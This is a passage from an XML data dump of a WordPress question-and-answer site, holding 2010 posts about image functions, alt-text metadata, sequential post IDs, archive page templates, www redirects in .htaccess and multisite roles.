)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/image_constrain_size_for_editor&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image_constrain_size_for_editor($width, $height, $size = 'medium')&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/image_downsize&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image_downsize($id, $size = 'medium')&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/image_get_intermediate_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image_get_intermediate_size($post_id, $size='thumbnail')&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/image_hwstring&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image_hwstring($width, $height)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/image_make_intermediate_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image_make_intermediate_size($file, $width, $height, $crop=false)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/image_resize&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image_resize( $file, $max_w, $max_h, $crop = false, $suffix = null, $dest_path = null, $jpeg_quality = 90 )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/image_resize_dimensions&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image_resize_dimensions($orig_w, $orig_h, $dest_w, $dest_h, $crop = false)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As promised the &lt;strong&gt;Image's &lt;em&gt;&lt;code&gt;'alt'&lt;/code&gt;&lt;/em&gt; text is stored as a string in &lt;code&gt;wp_postmeta&lt;/code&gt; with the meta_key of &lt;code&gt;'_wp_attachment_image_alt'&lt;/code&gt;&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you probably already know you can load it with a simple &lt;code&gt;get_post_meta()&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;$alt_text = get_post_meta($post-&amp;gt;ID, '_wp_attachment_image_alt', true);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="89" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-06T22:45:11.520" LastActivityDate="2011-08-06T22:45:11.520" CommentCount="6" />
  <row Id="1066" PostTypeId="2" ParentId="1037" CreationDate="2010-08-31T11:16:35.447" Score="2" ViewCount="" Body="&lt;p&gt;If you don't want to have to perform the SQL queries yourself manual there are a couple of plugins you can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully used &lt;a href=&quot;http://wordpress.org/extend/plugins/convert-post-types/&quot; rel=&quot;nofollow&quot;&gt;Convert Post Types&lt;/a&gt; to mass change posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For converting invididual posts then &lt;a href=&quot;http://wordpress.org/extend/plugins/post-type-switcher/&quot; rel=&quot;nofollow&quot;&gt;Post Type Switcher&lt;/a&gt; is a better option.&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2010-08-31T11:16:35.447" CommentCount="1" />
  <row Id="1067" PostTypeId="2" ParentId="1034" CreationDate="2010-08-31T14:17:37.677" Score="1" ViewCount="" Body="&lt;p&gt;I imagine that this is largely a technical PHP issue since you cannot enable output buffering while output buffering is already enabled. If I'm not mistaken, WordPress uses output buffering already. If not WordPress itself, 99.9% of the cache plug-ins do. If you were to use that function in a script/theme already being buffered, I believe you'd get a fatal error.&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2010-08-31T14:17:37.677" CommentCount="3" />
  <row Id="1068" PostTypeId="2" ParentId="1034" CreationDate="2010-08-31T15:06:06.330" Score="1" ViewCount="" Body="&lt;p&gt;As it might be easier for some theme developers, you have to take it the way it is done. But you can write the function yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_output($function){&#xA;    return call_user_func('get_'.$function);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Writing get_the_title() is also shorter than writing get_output('the_title') :)&lt;/p&gt;&#xA;" OwnerUserId="462" LastActivityDate="2010-08-31T15:06:06.330" CommentCount="1" />
  <row Id="1069" PostTypeId="1" AcceptedAnswerId="1072" CreationDate="2010-08-31T15:29:31.930" Score="0" ViewCount="275" Body="&lt;p&gt;I've just created a draft on my blog, and it's post ID is 1. After creating another draft, the post id for this last post is 3! I was hoping to see them in sequential order, so in the future I'll have a nice auto-incremented numbering like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../archives/1  &#xA;../archives/2   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;some months later...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../archives/154&#xA;../archives/155&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no problem diving into code, but I was wondering if someone happens to know a simple solution to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="485" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T21:37:26.893" LastActivityDate="2010-08-31T21:37:26.893" Title="Change Permalinks Structure to a Sequential Number for Each Post?" Tags="&lt;plugins&gt;&lt;archive&gt;&lt;permalinks&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" />
  <row Id="1070" PostTypeId="2" ParentId="1054" CreationDate="2010-08-31T15:31:26.710" Score="1" ViewCount="" Body="&lt;p&gt;The best way is to track this in Feedburner - that will tell you how many &quot;subscribers&quot; you may have at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to track how many people click on your RSS feed link on your WordPress site you can tag the link with some Google Analytics tracking code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;amp;answer=55578&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;amp;answer=55578&lt;/a&gt; for help&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-08-31T15:31:26.710" CommentCount="1" />
  <row Id="1071" PostTypeId="1" AcceptedAnswerId="1133" CreationDate="2010-08-31T15:36:12.217" Score="0" ViewCount="310" Body="&lt;p&gt;I'd like to create an &lt;em&gt;&quot;All Posts&quot;&lt;/em&gt; page on the &lt;a href=&quot;http://www.oceanbytes.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Ocean Bytes blog&lt;/strong&gt;&lt;/a&gt; that contains an unordered list of all Titles of the posts to date, with each title hyperlinking to its blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appear to be several plugins that do something like this, but most do not list Wordpress 3.0+ as supported yet, or they want to subset the blog postings by Year and then Month which is not desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for the &quot;best way&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx.&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T21:39:55.780" LastActivityDate="2010-09-01T01:24:27.350" Title="Create an &quot;All Posts&quot; or &quot;Archives&quot; Page with WordPress 3.0?" Tags="&lt;posts&gt;&lt;archive&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1072" PostTypeId="2" ParentId="1069" CreationDate="2010-08-31T15:40:24.240" Score="1" ViewCount="" Body="&lt;p&gt;The ID of a post is not meant to be a sequence number in the sense that for post N the following post is N+1. The ID is an auto-incremented field in the posts table, which includes many things that are not published posts, e.g., drafts, pages, attachments. So there is really no way to force WordPress to assign sequential IDs in that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to produce a sequence number and then use it in the permalink structure, but any efficient system will involve storing the IDs in a separate location (table or option) and writing a custom rewrite plugin. That last bit is quite advanced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be an intriguing problem for the experienced hacker to produce a plugin that solves this problem without significant performance degradation.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2010-08-31T15:40:24.240" />
  <row Id="1073" PostTypeId="2" ParentId="1069" CreationDate="2010-08-31T15:41:21.083" Score="1" ViewCount="" Body="&lt;p&gt;Pages and posts share ID's so I doubt that will work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - The best permalink structure for SEO is to include the postname in there&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-08-31T15:41:21.083" />
  <row Id="1074" PostTypeId="2" ParentId="1047" CreationDate="2010-08-31T15:45:57.550" Score="0" ViewCount="" Body="&lt;p&gt;Sounds like an issue with a plugin - try deactivating all of them and re-activating them one by one&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-08-31T15:45:57.550" />
  <row Id="1075" PostTypeId="2" ParentId="1069" CreationDate="2010-08-31T15:48:59.280" Score="0" ViewCount="" Body="&lt;p&gt;Seems these guys have worked out some code etc for dealing with this type of problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this out and you may find your answer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/display-sequential-post-numbercount-not-post-id&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/display-sequential-post-numbercount-not-post-id&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, I believe they are using a custom field to do the re-ordering, so I'm not sure if this will work with your permalink structure.&lt;/p&gt;&#xA;" OwnerUserId="505" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T21:34:53.027" LastActivityDate="2010-08-31T21:34:53.027" CommentCount="2" />
  <row Id="1076" PostTypeId="1" CreationDate="2010-08-31T15:50:02.583" Score="0" ViewCount="361" Body="&lt;p&gt;No matter what url somebody uses to access my site, I'd like it to redirect to www.MyUrl.com. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="517" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T21:42:13.983" LastActivityDate="2010-08-31T21:53:57.007" Title="Force the Website URL to Include &quot;www&quot; and to be Upper Case?" Tags="&lt;urls&gt;&lt;url-rewriting&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1077" PostTypeId="2" ParentId="1057" CreationDate="2010-08-31T15:52:15.140" Score="2" ViewCount="" Body="&lt;p&gt;I currently do all of these with different plugins.  There is no need to look for a combined plugin with so many options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Analytics reccomendation - &lt;a href=&quot;http://yoast.com/wordpress/google-analytics/#utm_source=wordpress&amp;amp;utm_medium=plugin&amp;amp;utm_campaign=google-analytics-for-wordpress&amp;amp;utm_content=v407&quot; rel=&quot;nofollow&quot;&gt;Google Analytics for Wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Favicon - many themes include this ability (Atahualpa being one)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meta - any of various SEO plugins as Mike suggested&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM&lt;/p&gt;&#xA;" OwnerUserId="514" LastEditorUserId="514" LastEditorDisplayName="" LastEditDate="2010-09-02T00:45:18.537" LastActivityDate="2010-09-02T00:45:18.537" />
  <row Id="1078" PostTypeId="2" ParentId="1076" CreationDate="2010-08-31T15:58:33.413" Score="6" ViewCount="" Body="&lt;p&gt;As far as i know there is no way to force the url to uppercase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for forcing the www. this can vary as to where you are hosting etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one generic way of doing this using your .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Forcing www. infront of domain&#xA;RewriteEngine On&#xA;Options +FollowSymLinks&#xA;RewriteCond %{HTTP_HOST} ^(domain\.com)$ [NC]&#xA;RewriteRule ^(.*)$ http://www.%1/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="505" LastActivityDate="2010-08-31T15:58:33.413" CommentCount="3" />
  <row Id="1079" PostTypeId="1" CreationDate="2010-08-31T16:01:44.547" Score="0" ViewCount="211" Body="&lt;p&gt;I have &lt;a href=&quot;http://wordpress.org/support/topic/my-blog-is-ok-but-admin-pages-are-not&quot; rel=&quot;nofollow&quot;&gt;this question&lt;/a&gt; that I posted on the support channel a week ago and we are not able to solve the problem yet. I guess it's OK to ask as a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just installed a WordPress blog on a restricted server (which mean I only have limited access on the server, I am given a MySQL database). The installation wizard says &quot;Success&quot; and I can see that my site is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, nothing appears when I go to the admin pages (I get a 500 status code). I guess it is due to some other limitation, but I don't know what (other than those required for normal pages) the admin pages are asking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server log says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: require_once(./wp-load.php) [function.require-once]: failed to open stream: No such file or directory in ./admin.php on line 20&#xA;Fatal error: require_once() [function.require]: Failed opening required './wp-load.php' (include_path='.:/pear/lib:/var/www/pear/lib') in ./admin.php on line 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To &quot;fix&quot; this we had to change line 20 in wordpress/wp-admin/admin.php from &lt;code&gt;require_once(dirname(dirname(__FILE__)) . '/wp-load.php');&lt;/code&gt; to &lt;code&gt;require_once(dirname(dirname(__FILE__)) . './wp-load.php');&lt;/code&gt; (add a dot before &lt;code&gt;/wp-load.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original line was telling the server to look for &lt;code&gt;wp-load.php&lt;/code&gt; in the same directory as admin.php, when it was really one directory level above &lt;code&gt;admin.php&lt;/code&gt;.&#xA;Why should we need to do that at all? Is this a (huge) WordPress bug or do we have some misconfiguration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the server is running OpenBSD, if that matters. I will try to provide more information if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I wanna tag this &lt;code&gt;post-installation&lt;/code&gt;, but not enough repo.)&lt;/p&gt;&#xA;" OwnerUserId="518" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-31T16:10:05.260" LastActivityDate="2010-08-31T16:10:05.260" ClosedDate="2010-09-20T13:04:44.237" Title="my admin pages do not show, is this a pathing problem?" Tags="&lt;wp-admin&gt;&lt;post-installation&gt;" CommentCount="5" />
  <row Id="1080" PostTypeId="2" ParentId="1057" CreationDate="2010-08-31T16:12:59.910" Score="1" ViewCount="" Body="&lt;p&gt;The only time I use GA is for one particular client, and I embed the GA code directly into the theme footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For favicons, my theme framework has built-in support for this, so if the client wants it, all they have to do is drop an appropriately-name image into the theme's image folder and it works with no further work needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For meta tags, I have a custom function I wrote for my theme framework that handles this.  It builds the tags based on either the contents of custom fields on each post/page, or post tags (for keywords) and the post/page content or excerpt (for the description) with defaults assigned through the theme options page.  I uploaded an edited version (to work without my theme framework as a plugin) &lt;a href=&quot;http://gist.github.com/559269&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-31T16:12:59.910" CommentCount="1" />
  <row Id="1081" PostTypeId="2" ParentId="1034" CreationDate="2010-08-31T16:17:11.557" Score="2" ViewCount="" Body="&lt;p&gt;In direct response to the question, WordPress does not include a function for this partly because it does not specifically apply to WordPress functionality. I.e. it's a PHP (potential) problem, not WordPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I wouldn't say it's WordPress' responsibility to provide workarounds for plugins etc that don't provide an function to return data (which is against the general WordPress style).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-31T16:17:11.557" CommentCount="1" />
  <row Id="1082" PostTypeId="2" ParentId="1071" CreationDate="2010-08-31T16:19:38.443" Score="2" ViewCount="" Body="&lt;p&gt;Create a new template file and do this as the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'posts_per_page' =&amp;gt; -1, 'post_status' =&amp;gt; 'publish' ) );&#xA;if( have_posts() ):&#xA;  echo '&amp;lt;ul&amp;gt;';&#xA;  while( have_posts() ):&#xA;    the_post();&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;';&#xA;    the_permalink();&#xA;    echo '&quot;&amp;gt;';&#xA;    the_title();&#xA;    echo '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;  endwhile;&#xA;  echo '&amp;lt;/ul&amp;gt;';&#xA;endif;&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just use that template for a page and it'll automatically generate the page. Check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts/&quot; rel=&quot;nofollow&quot;&gt;the codex page&lt;/a&gt; for &lt;code&gt;query_posts()&lt;/code&gt; for more information on how to change the query.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-31T16:19:38.443" />
  <row Id="1083" PostTypeId="2" ParentId="1071" CreationDate="2010-08-31T16:20:04.450" Score="1" ViewCount="" Body="&lt;p&gt;The &quot;Best Way&quot; would be with a custom page template.  Just like &lt;code&gt;index.php&lt;/code&gt; loops through all the posts, you can run a custom query to loop through everything and only echo the information you want (title, URL) to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some good tutorials for building a custom page template:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wordpressmax.com/customize-wordpress/custom-page&quot; rel=&quot;nofollow&quot;&gt;WordPress Max (w/ video tutorial)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-31T16:20:04.450" CommentCount="1" />
  <row Id="1084" PostTypeId="2" ParentId="119" CreationDate="2010-08-31T16:28:10.913" Score="5" ViewCount="" Body="&lt;p&gt;I wanted something similar when I migrated to WP a few months back, so I wrote a pretty simple shell script that uses rsync and mysqldump over ssh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://snarfed.org/sync_wordpress&quot; rel=&quot;nofollow&quot;&gt;http://snarfed.org/sync_wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not sophisticated or web based, but I'm happy with it.&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2010-08-31T16:28:10.913" />
  <row Id="1085" PostTypeId="1" AcceptedAnswerId="1148" CreationDate="2010-08-31T16:32:48.457" Score="3" ViewCount="311" Body="&lt;p&gt;I know how to do it manually, but is there any tool to help me with that?&lt;/p&gt;&#xA;" OwnerUserId="526" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T22:02:00.160" LastActivityDate="2010-09-01T07:51:24.997" Title="Tools for Converting an Existing Website Design to a WordPress Template?" Tags="&lt;template&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="1" />
  <row Id="1086" PostTypeId="2" ParentId="1002" CreationDate="2010-08-31T16:36:10.690" Score="1" ViewCount="" Body="&lt;p&gt;I won't go into the code specifics right now, because I am not sure if you need me to. You essentially need to modify the &lt;code&gt;SWFUpload&lt;/code&gt; JavaScript settings array to set the &lt;code&gt;file_upload_limit&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;. Unfortunately I don't believe SWFUpload allows you to change that settings variable after it has been &lt;code&gt;init&lt;/code&gt;ed, because it has already launched the Flash embed with the settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you would have to hook into the &lt;code&gt;flash_uploader&lt;/code&gt; filter to disable it setting up the &quot;normal&quot; Flash uploader, then hook into the &lt;code&gt;pre-upload-ui&lt;/code&gt; action and set up the Flash uploader using the same variables as WordPress does, but att the &lt;code&gt;file_upload_limit&lt;/code&gt; setting. (Look at Line 1446 of &lt;code&gt;media.php&lt;/code&gt; to see what I mean).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did it that way, you would also have to disable the HTML upload form so user's can use that to bypass the Flash uploader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you could (easier, but maybe not so usable to the user) hook into &lt;code&gt;load-async-upload.php&lt;/code&gt; action (see Line 202 of &lt;code&gt;admin.php&lt;/code&gt;) to reject the upload request if the current user had already uploaded an image for the given post. That would require the user selecting the image in the Flash Uploader, then it throwing an error once it has uploaded saying &quot;You can not upload another file&quot;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-31T16:36:10.690" CommentCount="3" />
  <row Id="1087" PostTypeId="2" ParentId="1076" CreationDate="2010-08-31T16:38:08.287" Score="1" ViewCount="" Body="&lt;p&gt;There are lots of ways to force a redirect from a given URL to a preferred variant of that URL.  Which one you use will depend upon how much control you have over your environment.  Some include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the Wordpress control panel settings.&lt;/li&gt;&#xA;&lt;li&gt;Use the Apache .htaccess URL rewriting capabilities.&lt;/li&gt;&#xA;&lt;li&gt;Use the Apache Redirect permanent directive from the Apache configuration.  (All webserver should have a similar mechanism.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What you have to keep in mind is that domain names are NOT case-sensitive, and in this case the browser will control what gets displayed, not your server.  More importantly, each redirection you force will (1) require additional work from your server, (2) increase the complexity of your configuration, and (3) delay your users from accessing your site.  If your goal is to enhance your brand (MyUrl instead of myurl) you'd be better served by focusing on the design of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two real reasons to implement site redirection to force a given domain:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reduce search engine confusion (everyone uses myurl.com instead of www.myurl.com or web.myurl.com or 12.34.56.78).&lt;/li&gt;&#xA;&lt;li&gt;Ensure that all users of a SSL-protected site use the same domain that is registered in the SSL certificate, mostly to prevent error messages and confusion.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="523" LastActivityDate="2010-08-31T16:38:08.287" />
  <row Id="1088" PostTypeId="2" ParentId="1059" CreationDate="2010-08-31T16:44:20.473" Score="11" ViewCount="" Body="&lt;p&gt;Yes, and an easy way to suppress it, without modifying the actual HTML, is to use the following custom CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#site-generator {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="528" LastActivityDate="2010-08-31T16:44:20.473" CommentCount="3" />
  <row Id="1089" PostTypeId="2" ParentId="999" CreationDate="2010-08-31T17:00:41.517" Score="1" ViewCount="" Body="&lt;p&gt;Why not just &lt;code&gt;svn export&lt;/code&gt; your working directory and upload that as your WordPress install? You'll lose that ability to track changes in that copy, but most of the time on a production server that's ok. Every time you deploy you can just &lt;code&gt;svn export&lt;/code&gt; again and use something like the &quot;Synchronize&quot; feature in Transmit to diff your local copy against the one on the live box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly, I think it would make more sense to only track your theme files (if you're creating a custom theme) and leave the upload directories and other WordPress distribution files alone. If you need backups of those you could use rsync and Subversion or Mercurial together to accomplish that, and only track the files you're developing in to make deployment easier.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2010-08-31T17:00:41.517" />
  <row Id="1090" PostTypeId="1" CreationDate="2010-08-31T17:14:34.173" Score="0" ViewCount="253" Body="&lt;p&gt;We have a large site that consists of a number of smaller websites.  We are looking at replacing our current CMS with WordPress.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is that we need to create a custom role (kind of in between Editor and Administrator) and make it available to all sites in a multi-site network. I have looked at a couple of plugins that work well on a single site, but none seem to work on multi-site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendations?  This is the closest thing I have found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://co-opmedia.org/2010/04/wpmu-roles-and-capabilities-hacks/&quot; rel=&quot;nofollow&quot;&gt;WPMU Roles and Capabilities Hacks Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T22:00:57.137" LastActivityDate="2010-08-31T22:00:57.137" Title="Creating Custom Roles for use on a WordPress Multi-site Instance?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;permissions&gt;" AnswerCount="1" />
  <row Id="1091" PostTypeId="2" ParentId="1069" CreationDate="2010-08-31T17:38:29.100" Score="1" ViewCount="" Body="&lt;p&gt;As the others have explained, the post ID is an auto-incremented field in the database, and so is not otherwise controllable. You obviously don't want to use this in your permalink. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins and custom fields are an option, but not recommended because any &quot;naked&quot; number has the possibility of being misinterpreted by WordPress as a post ID or other internal number like year or date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simpler solution that doesn't require custom fields or plugins is to edit the post slug for each post and give it a sequential number preceded by a constant alphabetical prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../archives/1  &#xA;../archives/2 &#xA;...&#xA;../archives/x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../archives/p1  &#xA;../archives/p2 &#xA;...&#xA;../archives/px&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing your permalink structure, you could even shorten this to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../p1  &#xA;../p2 &#xA;...&#xA;../px&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can replace the &quot;p&quot; with whatever you want, like &quot;day1&quot; or &quot;deep-thought-1&quot;.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2010-08-31T17:38:29.100" CommentCount="1" />
  <row Id="1092" PostTypeId="1" AcceptedAnswerId="1096" CreationDate="2010-08-31T18:23:30.930" Score="0" ViewCount="237" Body="&lt;p&gt;I'm looking for something like they are using here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jennyreviews.com/as-seen-on-tv/triple-joint-formula/&quot; rel=&quot;nofollow&quot;&gt;http://www.jennyreviews.com/as-seen-on-tv/triple-joint-formula/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look under &quot;Related Product Reviews&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the source but could not find the plugin code listed. Maybe its a widget?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-01T11:23:49.603" Title="Related posts widget or plugin needed" Tags="&lt;plugins&gt;&lt;widgets&gt;" AnswerCount="7" FavoriteCount="1" />
  <row Id="1093" PostTypeId="2" ParentId="370" CreationDate="2010-08-31T18:37:22.333" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/flickr-gallery/other_notes/&quot; rel=&quot;nofollow&quot;&gt;Flickr Gallery&lt;/a&gt; is WordPress plugin that goes beyond the basics and allows several options for searching and displaying Flickr photos. I couldn't tell from your question, but if you want to display each group separately (&lt;em&gt;i.e.&lt;/em&gt;, a set of thumbnails from Group 1 next to a set of thumbnails from Group 2), then this will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you want to combine the thumbnails from two or more groups into a common list, it is very unlikely that you will find a plugin to do this out of the box, and the reason is this: The Flickr API does not provide for searching multiple groups simultaneously (neither the &lt;a href=&quot;http://www.flickr.com/services/api/flickr.photos.search.html&quot; rel=&quot;nofollow&quot;&gt;basic search&lt;/a&gt; nor the &lt;a href=&quot;http://www.flickr.com/services/api/flickr.groups.pools.getPhotos.html&quot; rel=&quot;nofollow&quot;&gt;group-pool–specific search&lt;/a&gt;). The only way to make this happen is to aggregate the RSS feeds as Mike Lee described or use the API and combine the search results programmatically.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2010-08-31T18:37:22.333" />
